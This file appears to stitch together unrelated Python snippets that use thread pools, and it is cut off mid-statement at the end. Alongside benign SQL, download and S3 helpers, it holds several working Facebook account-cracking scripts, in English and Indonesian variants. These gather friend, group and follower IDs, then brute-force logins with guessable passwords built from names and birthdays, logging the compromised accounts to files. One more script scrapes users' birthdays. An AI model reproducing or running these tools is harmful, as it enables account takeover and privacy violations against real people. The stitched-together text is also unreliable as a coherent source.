def execute_sqls_threaded(self, sql_queries, thread_pool_size=5): """ executes a array of SQLs using threads and returns results, useful for threaded batch operations Parameters: sql_queries array of SQL queries to execute thread_pool_size pool size to use, MAX a/c limit in PROD is 50 so its recommended to keep it around 2-5. Returns: True if all SQLs have been executed successfully, else False """ if len(sql_queries) == 0: return True start_time = time.time() if (thread_pool_size < 1): thread_pool_size = 1 POOL_SIZE = thread_pool_size if (len(sql_queries) < POOL_SIZE): POOL_SIZE = len(sql_queries) # Make the Pool of workers pool = ThreadPool(POOL_SIZE) print("Using pool size of {}".format(POOL_SIZE)) count = 0 failed_count = 0 OPERATIONS = len(sql_queries) result = True while ((count + failed_count) < OPERATIONS): # print(count,failed_count,OPERATIONS) try: for i, r in enumerate( pool.imap_unordered(self.start_query_execution_and_wait_for_completion, sql_queries), 1): try: # print(i,r) if r is None: failed_count = failed_count + 1 result = False elif "SUCCESS" in r and r["SUCCESS"] == False: failed_count = failed_count + 1 result = False # break else: print(r["QUERY"]) count += 1 # your code # elapsed_time = time.time() - start_time # sys.stderr.write('\r{0:%} {} {}'.format((count*1.0/OPERATIONS),count,elapsed_time)) sys.stderr.write( '\r{0:%} completed {1}, failed {2}, TOTAL: {3}'.format((count * 1.0 / OPERATIONS), count, failed_count, OPERATIONS)) except Exception as e: # print(traceback.format_exc()) print("#", str(e)) failed_count += 1 # print('#',sys.exc_info()[1]) # pass except Exception as e: # print(traceback.format_exc()) print(str(e)) failed_count += 1 # print('$',sys.exc_info()[1]) pass print("test_threaded_metric_log --- %s seconds ---for %s get ops using %s threads" % ( (time.time() - start_time), OPERATIONS, POOL_SIZE)) print("total: " + str(OPERATIONS) + ", failed: " + str(failed_count)) # close the pool and wait for the work to finish pool.close() pool.join() if ((result == True and count == OPERATIONS)): print("Operation successful") return True else: print("Operation had errors") raise Exception("Operation had errors")
def pilih_super(): peak = raw_input("\n\033[1;97m >>> \033[1;97m") if peak =="": print "\033[1;96m[!] \x1b[1;91mFill in correctly" pilih_super() elif peak =="1": os.system('clear') print logo print 42*"\033[1;96m=" jalan('\033[1;96m[✺] \033[1;93mGetting ID \033[1;97m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('clear') print logo print 42*"\033[1;96m=" idt = raw_input("\033[1;96m[+] \033[1;93mEnter ID \033[1;91m: \033[1;97m") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;93mName\033[1;91m :\033[1;97m "+op["name"] except KeyError: print"\033[1;96m[!] \x1b[1;91mID Not Found!" raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]") super() jalan('\033[1;96m[✺] \033[1;93mGetting IDs \033[1;97m...') r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="3": os.system('clear') print logo print 42*"\033[1;96m=" try: idlist = raw_input('\x1b[1;96m[+] \x1b[1;93mEnter File Path \x1b[1;91m: \x1b[1;97m') for line in open(idlist,'r').readlines(): id.append(line.strip()) except IOError: print '\x1b[1;96m[!] \x1b[1;91mFile Not Found' raw_input('\n\x1b[1;96m[ \x1b[1;97mBack \x1b[1;96m]') super() elif peak =="0": menu() else: print "\033[1;96m[!] \x1b[1;91mFill in correctly" pilih_super() print "\033[1;96m[+] \033[1;93mTotal IDs \033[1;91m: \033[1;97m"+str(len(id)) jalan('\033[1;96m[✺] \033[1;93mStarting \033[1;97m...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;96m[\033[1;97m✸\033[1;96m] \033[1;93mCracking \033[1;97m"+o),;sys.stdout.flush();time.sleep(1) print print('\x1b[1;96m[!] \x1b[1;93mTo Stop Process Press CTRL Then Press z') print 42*"\033[1;96m=" def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass try: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = ('786786') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = b['first_name']+'12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = b['first_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3 oks.append(user+pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: pass4 = 'Pakistan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4 oks.append(user+pass4) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) except: pass p = ThreadPool(30) p.map(main, id) print 42*"\033[1;96m=" print '\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;92mProcess Has Been Completed \033[1;97m....' print"\033[1;96m[+] \033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint)) print("\033[1;96m[+] \033[1;92mCP File Has Been Saved \033[1;91m: \033[1;97mout/checkpoint.txt") raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]") menu()
def pool(self): if self._pool is None: self._pool = ThreadPool() return self._pool
def next_chunk(self): """ Gets the next chunk if ready """ logger.debug( u'next_chunk_to_consume={next_chunk_to_consume}, ' u'next_chunk_to_download={next_chunk_to_download}, ' u'total_chunks={total_chunks}'.format( next_chunk_to_consume=self._next_chunk_to_consume + 1, next_chunk_to_download=self._next_chunk_to_download + 1, total_chunks=self._chunk_size)) if self._next_chunk_to_consume > 0: # clean up the previously fetched data n = self._next_chunk_to_consume - 1 self._chunks[n] = self._chunks[n]._replace(result_data=None, ready=False) if self._next_chunk_to_download < self._chunk_size: self._pool.apply_async(self._download_chunk, [self._next_chunk_to_download]) self._next_chunk_to_download += 1 if self._downloader_error is not None: raise self._downloader_error for attempt in range(MAX_RETRY_DOWNLOAD): logger.debug( u'waiting for chunk %s/%s' u' in %s/%s download attempt', self._next_chunk_to_consume + 1, self._chunk_size, attempt + 1, MAX_RETRY_DOWNLOAD) done = False for wait_counter in range(MAX_WAIT): with self._chunk_cond: if self._downloader_error: raise self._downloader_error if self._chunks[self._next_chunk_to_consume].ready: done = True break logger.debug( u'chunk %s/%s is NOT ready to consume' u' in %s/%s(s)', self._next_chunk_to_consume + 1, self._chunk_size, (wait_counter + 1) * WAIT_TIME_IN_SECONDS, MAX_WAIT * WAIT_TIME_IN_SECONDS) self._chunk_cond.wait(WAIT_TIME_IN_SECONDS) else: logger.debug( u'chunk %s/%s is still NOT ready. Restarting chunk ' u'downloader threads', self._next_chunk_to_consume + 1, self._chunk_size) self._pool.terminate() # terminate the thread pool self._pool = ThreadPool(self._effective_threads) for idx0 in range(self._effective_threads): idx = idx0 + self._next_chunk_to_consume self._pool.apply_async(self._download_chunk, [idx]) if done: break else: Error.errorhandler_wrapper( self._connection, self._cursor, OperationalError, { u'msg': u'The result set chunk download fails or hang for ' u'unknown reason.', u'errno': ER_CHUNK_DOWNLOAD_FAILED }) logger.debug(u'chunk %s/%s is ready to consume', self._next_chunk_to_consume + 1, self._chunk_size) ret = self._chunks[self._next_chunk_to_consume] self._next_chunk_to_consume += 1 return ret
def multi_thread_parse(callback, urls): pool = ThreadPool(THREAD_POOL_SIZE) results = pool.map(callback, urls) return results
def zip_generator(files_list, construct_registry=False): """ Pulls in data from S3 in a multithreaded network operation, constructs a zip file of that data. This is a generator, advantage is it starts returning data (file by file, but wrapped in zip compression) almost immediately. """ processed_files = set() duplicate_files = set() pool = ThreadPool(3) # 3 Threads has been heuristically determined to be a good value, it does not cause the server # to be overloaded, and provides more-or-less the maximum data download speed. This was tested # on an m4.large instance (dual core, 8GB of ram). file_registry = {} zip_output = StreamingBytesIO() zip_input = ZipFile(zip_output, mode="w", compression=ZIP_STORED, allowZip64=True) # random_id = generate_random_string()[:32] # print "returning data for query %s" % random_id try: # chunks_and_content is a list of tuples, of the chunk and the content of the file. # chunksize (which is a keyword argument of imap, not to be confused with Beiwe Chunks) # is the size of the batches that are handed to the pool. We always want to add the next # file to retrieve to the pool asap, so we want a chunk size of 1. # (In the documentation there are comments about the timeout, it is irrelevant under this construction.) chunks_and_content = pool.imap_unordered(batch_retrieve_s3, files_list, chunksize=1) total_size = 0 for chunk, file_contents in chunks_and_content: if construct_registry: file_registry[chunk['chunk_path']] = chunk["chunk_hash"] file_name = determine_file_name(chunk) if file_name in processed_files: duplicate_files.add((file_name, chunk['chunk_path'])) continue processed_files.add(file_name) # print file_name zip_input.writestr(file_name, file_contents) # These can be large, and we don't want them sticking around in memory as we wait for the yield del file_contents, chunk # print len(zip_output) x = zip_output.getvalue() total_size += len(x) # print "%s: %sK, %sM" % (random_id, total_size / 1024, total_size / 1024 / 1024) yield x # yield the (compressed) file information del x zip_output.empty() if construct_registry: zip_input.writestr("registry", json.dumps(file_registry)) yield zip_output.getvalue() zip_output.empty() # close, then yield all remaining data in the zip. zip_input.close() yield zip_output.getvalue() except DummyError: # The try-except-finally block is here to guarantee the Threadpool is closed and terminated. # we don't handle any errors, we just re-raise any error that shows up. # (with statement does not work.) raise finally: # We rely on the finally block to ensure that the threadpool will be closed and terminated, # and also to print an error to the log if we need to. pool.close() pool.terminate()
def dob_select(): select = raw_input('\n Choose Option >>> ') id = [] nms = [] if select == '1': os.system('clear') logo() print '' print '\t \x1b[1;32mGrab DOB From Friendlist\x1b[0;97m' print '' idt = raw_input(' Put Id/user : '******'https://graph.facebook.com/' + idt + '?access_token=' + token, headers=header) q = json.loads(r.text) print ' Target Id : ' + q['name'] except KeyError: print '' print '\x1b[1;31mID Not Found' + c2 print '' raw_input('\nPress enter to back ') dob_select() r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + token, headers=header) z = json.loads(r.text) for i in z['data']: uid = i['id'] na = i['name'] nm = na.rsplit(' ')[0] id.append(uid + '|' + nm) elif select == '2': os.system('clear') logo() print '' print '\x1b[1;32m Grab DOB From Followers\x1b[0;97m' print '' idt = raw_input(' Put Id/user : '******'https://graph.facebook.com/' + idt + '?access_token=' + token, headers=header) q = json.loads(r.text) print ' Target user : '******'name'] except KeyError: print '\t \x1b[1;31mID Not Found\x1b[0;97m' raw_input('\nPress enter to back ') dob_select() r = requests.get('https://graph.facebook.com/' + idt + '/subscribers?access_token=' + token + '&limit=5000', headers=header) z = json.loads(r.text) for i in z['data']: uid = i['id'] na = i['name'] nm = na.rsplit(' ')[0] id.append(uid + '|' + nm) elif select == '3': dob() elif select == '4': b_menu() else: print '' print '\t \x1b[1;31mSelect valid option\x1b[0;97m' print '' dob_select() print ' Total IDs : ' + str(len(id)) print ' The Process has started' print ' Note : This is for testing only' print '' print 47 * '-' print '' def main(arg): user = arg uid, name = user.split('|') try: q = requests.get('https://graph.facebook.com/' + uid + '?access_token=' + token, headers=header).text d = json.loads(q) y = d['birthday'] print '\x1b[1;32m ' + uid + ' \x1b[1;30m ' + name + ' | ' + y + '\x1b[0;97m' nmb = open('dobs.txt', 'a') nmb.write(name + ' | ' + uid + ' | ' + y + '\n') nmb.close() nms.append(number) except: pass p = ThreadPool(30) p.map(main, id) print '' print 47 * '-' print '' print ' Process has completed' print ' Total DOB : ' + str(len(nms)) print '' print 47 * '-' print '' raw_input('\n Press enter to back ') extract_dob()
def run(): dev = ThreadPool(30) dev.map(pro_dev, users1)
def run(self): if not self.items: return pool = ThreadPool(len(self.items)) while not self.stopEvent.isSet(): pool.map(self.pingItem, self.items.values()) self.stopEvent.wait(self.config.get('refresh'))
from tornado.gen import Return from tornado import gen from tornado.ioloop import IOLoop, PeriodicCallback from tornado.iostream import StreamClosedError from tornado.queues import Queue from .batched import BatchedSend from .client import pack_data, gather_from_workers from .compatibility import reload, PY3, unicode from .core import (rpc, Server, pingpong, dumps, loads, coerce_to_address, error_message, read, write) from .sizeof import sizeof from .utils import (funcname, get_ip, get_traceback, truncate_exception, ignoring, _maybe_complex, log_errors) _ncores = ThreadPool()._processes logger = logging.getLogger(__name__) class Worker(Server): """ Worker Node Workers perform two functions: 1. **Serve data** from a local dictionary 2. **Perform computation** on that data and on data from peers Additionally workers keep a Center informed of their data and use that Center to gather data from other workers when necessary to perform a computation.
def pilih_super(): peak = raw_input("\n\033[1;97m >>> \033[1;97m") if peak == "": print "\033[1;96m[!] \x1b[1;91mIsi yang benar" pilih_super() elif peak == "1": os.system('clear') print logo print 42 * "\033[1;96m=" jalan('\033[1;96m[✺] \033[1;93mMengambil ID \033[1;97m...') r = requests.get( "https://graph.facebook.com/me/friends?access_token=" + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak == "2": os.system('clear') print logo print 42 * "\033[1;96m=" idt = raw_input( "\033[1;96m[+] \033[1;93mMasukan ID teman \033[1;91m: \033[1;97m") try: jok = requests.get("https://graph.facebook.com/" + idt + "?access_token=" + toket) op = json.loads(jok.text) print "\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;93mNama teman\033[1;91m :\033[1;97m " + op[ "name"] except KeyError: print "\033[1;96m[!] \x1b[1;91mTeman tidak ditemukan!" raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]") super() jalan('\033[1;96m[✺] \033[1;93mMengambil ID \033[1;97m...') r = requests.get("https://graph.facebook.com/" + idt + "/friends?access_token=" + toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak == "3": os.system('clear') print logo print 42 * "\033[1;96m=" idg = raw_input( '\033[1;96m[+] \033[1;93mMasukan ID group \033[1;91m:\033[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) asw = json.loads(r.text) print "\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;93mNama group \033[1;91m:\033[1;97m " + asw[ 'name'] except KeyError: print "\033[1;96m[!] \x1b[1;91mGroup tidak ditemukan" raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]") super() jalan('\033[1;96m[✺] \033[1;93mMengambil ID \033[1;97m...') re = requests.get( 'https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) s = json.loads(re.text) for p in s['data']: id.append(p['id']) elif peak == "4": os.system('clear') print logo print 42 * "\033[1;96m=" try: idlist = raw_input( '\x1b[1;96m[+] \x1b[1;93mMasukan nama file \x1b[1;91m: \x1b[1;97m' ) for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '\x1b[1;96m[!] \x1b[1;91mFile tidak ditemukan' raw_input('\n\x1b[1;96m[ \x1b[1;97mKembali \x1b[1;96m]') super() elif peak == "0": menu() else: print "\033[1;96m[!] \x1b[1;91mIsi yang benar" pilih_super() print "\033[1;96m[+] \033[1;93mTotal ID \033[1;91m: \033[1;97m" + str( len(id)) titik = ['. ', '.. ', '... '] for o in titik: print( "\r\033[1;96m[\033[1;97m✸\033[1;96m] \033[1;93mCrack \033[1;97m" + o), sys.stdout.flush() time.sleep(1) print print('\x1b[1;96m[!] \x1b[1;93mStop CTRL+z') print 42 * "\033[1;96m=" def main(arg): global cekpoint, oks user = arg try: os.mkdir('out') except OSError: pass try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[✓] \x1b[1;92mBERHASIL' print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;92m' + b[ 'name'] print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;92m' + user print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;92m' + pass1 + '\n' oks.append(user + pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[✖] \x1b[1;93mCEKPOINT' print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;93m' + b[ 'name'] print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;93m' + user print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;93m' + pass1 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass1 + "\n") cek.close() cekpoint.append(user + pass1) else: pass2 = b['first_name'] + '12345' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[✓] \x1b[1;92mBERHASIL' print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;92m' + b[ 'name'] print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;92m' + user print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;92m' + pass2 + '\n' oks.append(user + pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[✖] \x1b[1;93mCEKPOINT' print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;93m' + b[ 'name'] print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;93m' + user print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;93m' + pass2 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass2 + "\n") cek.close() cekpoint.append(user + pass2) else: pass3 = b['last_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[✓] \x1b[1;92mBERHASIL' print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;92m' + b[ 'name'] print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;92m' + user print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;92m' + pass3 + '\n' oks.append(user + pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[✖] \x1b[1;93mCEKPOINT' print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;93m' + b[ 'name'] print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;93m' + user print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;93m' + pass3 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass3 + "\n") cek.close() cekpoint.append(user + pass3) else: pass4 = ['sayang'] + '02' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[✓] \x1b[1;92mBERHASIL' print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;92m' + b[ 'name'] print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;92m' + user print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;92m' + pass4 + '\n' oks.append(user + pass4) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;96m[✖] \x1b[1;93mCEKPOINT' print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;93m' + b[ 'name'] print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;93m' + user print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;93m' + pass4 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass4 + "\n") cek.close() cekpoint.append(user + pass4) else: birthday = b['birthday'] pass5 = birthday.replace('/', '') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[✓] \x1b[1;92mBERHASIL' print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;92m' + b[ 'name'] print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;92m' + user print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;92m' + pass5 + '\n' oks.append(user + pass5) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;96m[✖] \x1b[1;93mCEKPOINT' print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;93m' + b[ 'name'] print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;93m' + user print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;93m' + pass5 + '\n' cek = open( "out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass5 + "\n") cek.close() cekpoint.append(user + pass5) else: pass6 = 'Sayang' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[✓] \x1b[1;92mBERHASIL' print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;92m' + b[ 'name'] print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;92m' + user print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;92m' + pass6 + '\n' oks.append(user + pass6) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;96m[✖] \x1b[1;93mCEKPOINT' print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;93m' + b[ 'name'] print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;93m' + user print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;93m' + pass6 + '\n' cek = open( "out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass6 + "\n") cek.close() cekpoint.append( user + pass6) except: pass p = ThreadPool(30) p.map(main, id) print '\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;92mSelesai \033[1;97m....' print "\033[1;96m[+] \033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m" + str( len(oks)) + "\033[1;97m/\033[1;93m" + str(len(cekpoint)) print( "\033[1;96m[+] \033[1;92mCP File tersimpan \033[1;91m: \033[1;97mout/super_cp.txt" ) raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]") super()
'''process expects a single image metadata as dictionary''' def process(img): try: img = gen_thumbnail(img) except BaseException as e: img['_status'] = "ERRORED" return img def gen_thumbnail(metadata): slide = openslide.OpenSlide(metadata['source']) filename = metadata['dest'] size = config['thumbnail_size'] or 100 imgtype = config['image_type'] or 'png' dest = filename + "." + imgtype print(dest) slide.get_thumbnail([size, size]).save(dest, imgtype.upper()) return metadata #get manifest with open(manifest_path, 'r') as f: reader = csv.DictReader(f) manifest = [row for row in reader] thread_limit = config.get('thread_limit', 10) # run process on each image res = ThreadPool(thread_limit).imap_unordered(process, manifest) print([r for r in res])
def pilih_super(): peak = raw_input("\n\033[1;97mYour Choice>>> \033[1;97m") if peak =="": print "\x1b[1;91mFill in correctly" pilih_super() elif peak =="1": os.system('clear') print logo print "\033[1;93m●●●●●●●●●●●●●●●●●●●●\033[1;92m<><>\033[1;93m●●●●●●●●●●●●●●●●●●●●" jalan('\033[1;93mGetting IDs \033[1;97m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('clear') print logo idt = raw_input("\033[1;96m[+] \033[1;93mEnter ID\033[1;93m: \033[1;97m") print "\033[1;93m●●●●●●●●●●●●●●●●●●●●\033[1;92m<><>\033[1;93m●●●●●●●●●●●●●●●●●●●●" try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;93mName\033[1;93m:\033[1;97m "+op["name"] except KeyError: print"\x1b[1;91mID Not Found!" raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]") super() print"\033[1;93mGetting IDs\033[1;93m..." r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="0": menu() else: print "\x1b[1;91mFill in correctly" pilih_super() print "\033[1;93mTotal IDs\033[1;93m: \033[1;97m"+str(len(id)) jalan('\033[1;91mPlease Wait\033[1;93m...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;93mCloning\033[1;93m"+o),;sys.stdout.flush();time.sleep(1) print "\n\033[1;97m«-----\x1b[1;91m【To Stop Process Press CTRL+Z】\033[1;97m----»" def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass try: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = ('786786') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = b['first_name']+'112233' data = 